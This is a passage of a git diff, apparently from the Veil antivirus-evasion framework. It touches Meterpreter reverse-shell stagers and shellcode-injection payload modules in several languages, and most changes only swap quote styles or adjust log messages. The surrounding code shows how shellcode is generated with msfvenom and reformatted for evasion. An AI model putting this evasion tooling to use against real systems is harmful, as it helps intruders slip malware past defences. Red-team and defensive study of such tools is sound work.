= "" print(helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True)) value = "" @@ -394,7 +395,7 @@ def menu(self): else: if not helpers.validate_hostname(value): if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' + self.required_options['LHOST'][0] = "" print(helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True)) value = "" @@ -410,13 +411,13 @@ def menu(self): socket.inet_pton(socket.AF_INET6, value) except socket.error: if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' + self.required_options['LHOST'][0] = "" print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) value = "" else: if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' + self.required_options['LHOST'][0] = "" print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) value = "" @@ -433,12 +434,12 @@ def menu(self): if int(value) <= 0 or int(value) >= 65535: print(helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)) if 'LPORT' in self.required_options: - self.required_options['LPORT'][0] = '' + self.required_options['LPORT'][0] = "" value = "" except ValueError: print(helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)) if 'LPORT' in self.required_options: - self.required_options['LPORT'][0] = '' + self.required_options['LPORT'][0] = "" value = "" else: @@ -453,7 +454,7 @@ def menu(self): # clear out the tab completion readline.set_completer(completer.none().complete) selection = input(' [>] Enter any extra msfvenom options (syntax: OPTION1=value1 or -OPTION2=value2): ').strip() - if selection != "": + if selection != '': num_extra_options = selection.split(' ') for xtra_opt in num_extra_options: if xtra_opt is not '': @@ -497,14 +498,16 @@ def generate(self, required_options=None): # if the msfvenom command nor shellcode are set, revert to the # interactive menu to set any options - if self.msfvenomCommand == "" and self.custom_shellcode == "": + if self.msfvenomCommand == '' and self.custom_shellcode == '': self.menu() # return custom specified shellcode if it was set previously - if self.custom_shellcode != "": + if self.custom_shellcode != '': + print(helpers.color("\n [*] Using pre-generated shellcode...")) return self.custom_shellcode elif self.invoke_ordnance: + print(helpers.color("\n [*] Generating shellcode using Veil-Ordnance...")) ordnance_loop = True Ordnance_object = ordnance_import.Tools() while ordnance_loop: @@ -513,22 +516,22 @@ def generate(self, required_options=None): self.payload_choice = Ordnance_object.selected_payload self.shellcode_options = Ordnance_object.payload_options ordnance_loop = False - return Ordnance_object.final_shellcode + return Ordnance_object.final_shellcode # generate the shellcode using msfvenom else: - print(helpers.color("\n [*] Generating shellcode...")) - if self.msfvenomCommand == "": + print(helpers.color("\n [*] Generating shellcode using msfvenom...")) + if self.msfvenomCommand == '': print(helpers.color(" [!] ERROR: msfvenom command not specified in payload!\n", warning=True)) return None else: - # Stript out extra characters, new lines, etc., just leave the shellcode. + # Strip out extra characters, new lines, etc., just leave the shellcode. # Tim Medin's patch for non-root non-Kali users msfvenom_shellcode = subprocess.check_output(settings.MSFVENOM_PATH + self.msfvenomCommand, shell=True) self.shellcode_options = self.msfvenomCommand msfvenom_shellcode = msfvenom_shellcode.decode('ascii') - self.msfvenomCommand = '' + self.msfvenomCommand = "" return msfvenom_shellcode[22:-1].strip() @@ -540,7 +543,7 @@ def cli_msf_shellcode_gen(command_line_args): port = command_line_args.port # Parse extra flags to be included in msfvenom command - extra_options = '' + extra_options = "" if command_line_args.msfoptions is not None: num_extra_options = command_line_args.msfoptions.split(' ') for xtra_opt in num_extra_options: diff --git a/tools/evasion/payloads/autoit/shellcode_inject/flat.py b/tools/evasion/payloads/autoit/shellcode_inject/flat.py index 5e08362..418ef86 100644 --- a/tools/evasion/payloads/autoit/shellcode_inject/flat.py +++ b/tools/evasion/payloads/autoit/shellcode_inject/flat.py @@ -22,13 +22,13 @@ def __init__(self, cli_obj): self.path = "autoit/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False self.required_options = { @@ -44,7 +44,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' @@ -52,7 +52,7 @@ def generate(self): Shellcode = self.cli_shellcode # get it in AutoITs format - Shellcode = "0x" + "".join(Shellcode.split("\\x")) + Shellcode = "0x" + ''.join(Shellcode.split("\\x")) total_size = len(Shellcode) RandFuncName = evasion_helpers.randomString() diff --git a/tools/evasion/payloads/auxiliary/coldwar_wrapper.py b/tools/evasion/payloads/auxiliary/coldwar_wrapper.py index d00e49a..a286113 100644 --- a/tools/evasion/payloads/auxiliary/coldwar_wrapper.py +++ b/tools/evasion/payloads/auxiliary/coldwar_wrapper.py @@ -29,7 +29,7 @@ def __init__(self, cli_obj): self.name = "Coldwar Wrapper" self.path = "auxuliary/coldwar_wrapper" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" self.required_options = { "ORIGINAL_EXE" : ["", "Path to a .exe file to convert to .war file"] #/usr/share/windows-binaries/nc.exe diff --git a/tools/evasion/payloads/auxiliary/macro_converter.py b/tools/evasion/payloads/auxiliary/macro_converter.py index 1781321..0064d03 100644 --- a/tools/evasion/payloads/auxiliary/macro_converter.py +++ b/tools/evasion/payloads/auxiliary/macro_converter.py @@ -21,7 +21,7 @@ def __init__(self, cli_obj): self.name = "Macro Converter" self.path = "auxuliary/macro_converter" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" self.required_options = { "POSH_BATCH": ["", "Path to a powershell batch script"], @@ -76,7 +76,7 @@ def generate(self): shell = "Shell(exec)" bottom = "End Sub\r\n\r\n" - PayloadCode = '' + PayloadCode = "" PayloadCode = top + "\r\n" + payL + "\r\n\r\n" + execStr + "\r\n\r\n" + shell + "\r\n\r\n" + bottom + "\r\n" # Return @@ -85,8 +85,8 @@ def generate(self): def formStr(self, varstr, instr): holder = [] - str1 = '' - str2 = '' + str1 = "" + str2 = "" print(self.required_options['ARCHITECTURE']) if varstr == "exec" and self.required_options['ARCHITECTURE'][0] == "x64": str1 = varstr + ' = "C:\\Windows\\syswow64\\windowspowershell\\v1.0\\' + instr[:54] + '"' diff --git a/tools/evasion/payloads/auxiliary/pyinstaller_wrapper.py b/tools/evasion/payloads/auxiliary/pyinstaller_wrapper.py index ba4fe53..411389a 100644 --- a/tools/evasion/payloads/auxiliary/pyinstaller_wrapper.py +++ b/tools/evasion/payloads/auxiliary/pyinstaller_wrapper.py @@ -21,7 +21,7 @@ def __init__(self, cli_obj): self.name = "PyInstaller Wrapper" self.path = "auxuliary/pyinstaller_wrapper" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" self.required_options = { "PYTHON_SOURCE" : ["", "A Python source file to compile with pyinstaller"], # /path/to/any/python/file.py diff --git a/tools/evasion/payloads/c/meterpreter/rev_http.py b/tools/evasion/payloads/c/meterpreter/rev_http.py index d1823fd..25ecd17 100644 --- a/tools/evasion/payloads/c/meterpreter/rev_http.py +++ b/tools/evasion/payloads/c/meterpreter/rev_http.py @@ -27,13 +27,13 @@ def __init__(self, cli_obj): self.name = "Pure C Reverse HTTP Stager" self.path = "c/meterpreter/rev_http" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/c/meterpreter/rev_http_service.py b/tools/evasion/payloads/c/meterpreter/rev_http_service.py index a5f11ef..5baf43c 100644 --- a/tools/evasion/payloads/c/meterpreter/rev_http_service.py +++ b/tools/evasion/payloads/c/meterpreter/rev_http_service.py @@ -29,13 +29,13 @@ def __init__(self, cli_obj): self.name = "Pure C Reverse HTTP Service" self.path = "c/meterpreter/rev_http_service" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/c/meterpreter/rev_tcp.py b/tools/evasion/payloads/c/meterpreter/rev_tcp.py index d766fff..a1ce4ab 100644 --- a/tools/evasion/payloads/c/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/c/meterpreter/rev_tcp.py @@ -25,13 +25,13 @@ def __init__(self, cli_obj): self.name = "Pure C Reverse TCP Stager" self.path = "c/meterpreter/rev_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/c/meterpreter/rev_tcp_service.py b/tools/evasion/payloads/c/meterpreter/rev_tcp_service.py index a98e2d0..22cf845 100644 --- a/tools/evasion/payloads/c/meterpreter/rev_tcp_service.py +++ b/tools/evasion/payloads/c/meterpreter/rev_tcp_service.py @@ -27,13 +27,13 @@ def __init__(self, cli_obj): self.name = "C Reverse TCP Service" self.path = "c/meterpreter/rev_tcp_service" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/cs/meterpreter/rev_http.py b/tools/evasion/payloads/cs/meterpreter/rev_http.py index 31ed826..f53bf58 100644 --- a/tools/evasion/payloads/cs/meterpreter/rev_http.py +++ b/tools/evasion/payloads/cs/meterpreter/rev_http.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.name = "Pure C# Reverse HTTP Stager" self.path = "cs/meterpreter/rev_http" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/cs/meterpreter/rev_https.py b/tools/evasion/payloads/cs/meterpreter/rev_https.py index 0fba43b..e05040c 100644 --- a/tools/evasion/payloads/cs/meterpreter/rev_https.py +++ b/tools/evasion/payloads/cs/meterpreter/rev_https.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.name = "Pure C# Reverse HTTPS Stager" self.path = "cs/meterpreter/rev_https" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/cs/meterpreter/rev_tcp.py b/tools/evasion/payloads/cs/meterpreter/rev_tcp.py index ca6302a..8901144 100644 --- a/tools/evasion/payloads/cs/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/cs/meterpreter/rev_tcp.py @@ -22,13 +22,13 @@ def __init__(self, cli_obj): self.name = "Pure C# Reverse TCP Stager" self.path = "cs/meterpreter/rev_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/cs/shellcode_inject/base64.py b/tools/evasion/payloads/cs/shellcode_inject/base64.py index 96cdf8e..f56e67e 100644 --- a/tools/evasion/payloads/cs/shellcode_inject/base64.py +++ b/tools/evasion/payloads/cs/shellcode_inject/base64.py @@ -28,13 +28,13 @@ def __init__(self, cli_obj): self.path = "cs/shellcode_inject/base64" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {OPTION : [Value, Description]]} @@ -61,7 +61,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/cs/shellcode_inject/virtual.py b/tools/evasion/payloads/cs/shellcode_inject/virtual.py index bf17545..d6a9672 100644 --- a/tools/evasion/payloads/cs/shellcode_inject/virtual.py +++ b/tools/evasion/payloads/cs/shellcode_inject/virtual.py @@ -27,13 +27,13 @@ def __init__(self, cli_obj): self.path = "cs/shellcode_inject/virtual" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {OPTION : [Value, Description]]} @@ -60,7 +60,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/go/meterpreter/rev_http.py b/tools/evasion/payloads/go/meterpreter/rev_http.py index a26ddce..e8b6f92 100644 --- a/tools/evasion/payloads/go/meterpreter/rev_http.py +++ b/tools/evasion/payloads/go/meterpreter/rev_http.py @@ -20,13 +20,13 @@ def __init__(self, cli_obj): self.name = "Pure Golang Reverse HTTP Stager" self.path = "go/meterpreter/rev_http" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/go/meterpreter/rev_https.py b/tools/evasion/payloads/go/meterpreter/rev_https.py index 6477b37..8d041ba 100644 --- a/tools/evasion/payloads/go/meterpreter/rev_https.py +++ b/tools/evasion/payloads/go/meterpreter/rev_https.py @@ -21,13 +21,13 @@ def __init__(self, cli_obj): self.name = "Pure Golang Reverse HTTPS Stager" self.path = "go/meterpreter/rev_https" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/go/meterpreter/rev_tcp.py b/tools/evasion/payloads/go/meterpreter/rev_tcp.py index afb5bc2..1257243 100644 --- a/tools/evasion/payloads/go/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/go/meterpreter/rev_tcp.py @@ -20,13 +20,13 @@ def __init__(self, cli_obj): self.name = "Pure Golang Reverse TCP Stager" self.path = "go/meterpreter/rev_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/go/shellcode_inject/virtual.py b/tools/evasion/payloads/go/shellcode_inject/virtual.py index 12d4be1..848cdd5 100644 --- a/tools/evasion/payloads/go/shellcode_inject/virtual.py +++ b/tools/evasion/payloads/go/shellcode_inject/virtual.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.path = "go/shellcode_inject/virtual" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -83,7 +83,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/lua/shellcode_inject/flat.py b/tools/evasion/payloads/lua/shellcode_inject/flat.py index f99138d..f64114a 100644 --- a/tools/evasion/payloads/lua/shellcode_inject/flat.py +++ b/tools/evasion/payloads/lua/shellcode_inject/flat.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.path = "lua/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False def generate(self): @@ -41,7 +41,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' @@ -54,7 +54,7 @@ def generate(self): # get the shellcode into the stupid-ass lua because # stupid-ass lua doesn't do string hex escapes - shellcode = "".join(["\\" + str(ord(c)).zfill(3) for c in raw]) + shellcode = ''.join(["\\" + str(ord(c)).zfill(3) for c in raw]) payload_code = """shellcode="%s" core = require "alien.core" diff --git a/tools/evasion/payloads/perl/shellcode_inject/flat.py b/tools/evasion/payloads/perl/shellcode_inject/flat.py index 0b85d20..a2c81b1 100644 --- a/tools/evasion/payloads/perl/shellcode_inject/flat.py +++ b/tools/evasion/payloads/perl/shellcode_inject/flat.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.path = "perl/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional @@ -64,7 +64,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/powershell/meterpreter/rev_http.py b/tools/evasion/payloads/powershell/meterpreter/rev_http.py index ba80823..5e8b6f7 100644 --- a/tools/evasion/payloads/powershell/meterpreter/rev_http.py +++ b/tools/evasion/payloads/powershell/meterpreter/rev_http.py @@ -20,13 +20,13 @@ def __init__(self, cli_obj): self.name = "Pure PowerShell Reverse HTTP Stager" self.path = "powershell/meterpreter/rev_http" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/powershell/meterpreter/rev_https.py b/tools/evasion/payloads/powershell/meterpreter/rev_https.py index fd5d8bb..310c74c 100644 --- a/tools/evasion/payloads/powershell/meterpreter/rev_https.py +++ b/tools/evasion/payloads/powershell/meterpreter/rev_https.py @@ -19,13 +19,13 @@ def __init__(self, cli_obj): self.name = "Pure PowerShell Reverse HTTPS Stager" self.path = "powershell/meterpreter/rev_https" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/powershell/meterpreter/rev_tcp.py b/tools/evasion/payloads/powershell/meterpreter/rev_tcp.py index 22b5310..b3794b0 100644 --- a/tools/evasion/payloads/powershell/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/powershell/meterpreter/rev_tcp.py @@ -19,13 +19,13 @@ def __init__(self, cli_obj): self.name = "Pure PowerShell Reverse TCP Stager" self.path = "powershell/meterpreter/rev_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/powershell/shellcode_inject/psexec_virtual.py b/tools/evasion/payloads/powershell/shellcode_inject/psexec_virtual.py index 4a9d9d8..bf64f1d 100644 --- a/tools/evasion/payloads/powershell/shellcode_inject/psexec_virtual.py +++ b/tools/evasion/payloads/powershell/shellcode_inject/psexec_virtual.py @@ -29,13 +29,13 @@ def __init__(self, cli_obj): self.path = "powershell/shellcode_inject/psexec_virtual" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} @@ -65,7 +65,7 @@ def psRaw(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/powershell/shellcode_inject/virtual.py b/tools/evasion/payloads/powershell/shellcode_inject/virtual.py index 7f83b8a..6398775 100644 --- a/tools/evasion/payloads/powershell/shellcode_inject/virtual.py +++ b/tools/evasion/payloads/powershell/shellcode_inject/virtual.py @@ -28,13 +28,13 @@ def __init__(self, cli_obj): self.path = "powershell/shellcode_inject/virtual" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} @@ -65,7 +65,7 @@ def psRaw(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/meterpreter/bind_tcp.py b/tools/evasion/payloads/python/meterpreter/bind_tcp.py index 1e466e3..56caba3 100644 --- a/tools/evasion/payloads/python/meterpreter/bind_tcp.py +++ b/tools/evasion/payloads/python/meterpreter/bind_tcp.py @@ -17,7 +17,7 @@ def __init__(self, cli_obj): self.name = "Pure Python Reverse TCP stager" self.path = "python/meterpreter/bind_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" self.language = "python" self.extension = "py" if cli_obj.ordnance_payload is not None: @@ -25,7 +25,7 @@ def __init__(self, cli_obj): elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" # optional # options we require user interaction for- format is {OPTION : [Value, Description]]} diff --git a/tools/evasion/payloads/python/meterpreter/rev_http.py b/tools/evasion/payloads/python/meterpreter/rev_http.py index a830ce5..0490bd4 100644 --- a/tools/evasion/payloads/python/meterpreter/rev_http.py +++ b/tools/evasion/payloads/python/meterpreter/rev_http.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.name = "Pure Python Reverse HTTP Stager" self.path = "python/meterpreter/rev_http" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" # options we require user interaction for- format is {OPTION : [Value, Description]]} self.required_options = { diff --git a/tools/evasion/payloads/python/meterpreter/rev_https.py b/tools/evasion/payloads/python/meterpreter/rev_https.py index 1a2f0c4..b1b8e44 100644 --- a/tools/evasion/payloads/python/meterpreter/rev_https.py +++ b/tools/evasion/payloads/python/meterpreter/rev_https.py @@ -22,13 +22,13 @@ def __init__(self, cli_obj): self.name = "Pure Python Reverse HTTPS stager" self.path = "python/meterpreter/rev_https" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" # options we require user interaction for- format is {OPTION : [Value, Description]]} self.required_options = { diff --git a/tools/evasion/payloads/python/meterpreter/rev_tcp.py b/tools/evasion/payloads/python/meterpreter/rev_tcp.py index 6a8af49..d885f20 100644 --- a/tools/evasion/payloads/python/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/python/meterpreter/rev_tcp.py @@ -22,13 +22,13 @@ def __init__(self, cli_obj): self.name = "Pure Python Reverse TCP Stager" self.path = "python/meterpreter/rev_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" # options we require user interaction for- format is {OPTION : [Value, Description]]} self.required_options = { diff --git a/tools/evasion/payloads/python/shellcode_inject/aes_encrypt.py b/tools/evasion/payloads/python/shellcode_inject/aes_encrypt.py index b2787be..ae4b112 100644 --- a/tools/evasion/payloads/python/shellcode_inject/aes_encrypt.py +++ b/tools/evasion/payloads/python/shellcode_inject/aes_encrypt.py @@ -25,13 +25,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/aes_encrypt" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -74,7 +74,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/arc_encrypt.py b/tools/evasion/payloads/python/shellcode_inject/arc_encrypt.py index b23e38a..c32707b 100644 --- a/tools/evasion/payloads/python/shellcode_inject/arc_encrypt.py +++ b/tools/evasion/payloads/python/shellcode_inject/arc_encrypt.py @@ -28,13 +28,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/arc_encrypt" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -78,7 +78,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/base64_substitution.py b/tools/evasion/payloads/python/shellcode_inject/base64_substitution.py index 4d94822..ca26802 100644 --- 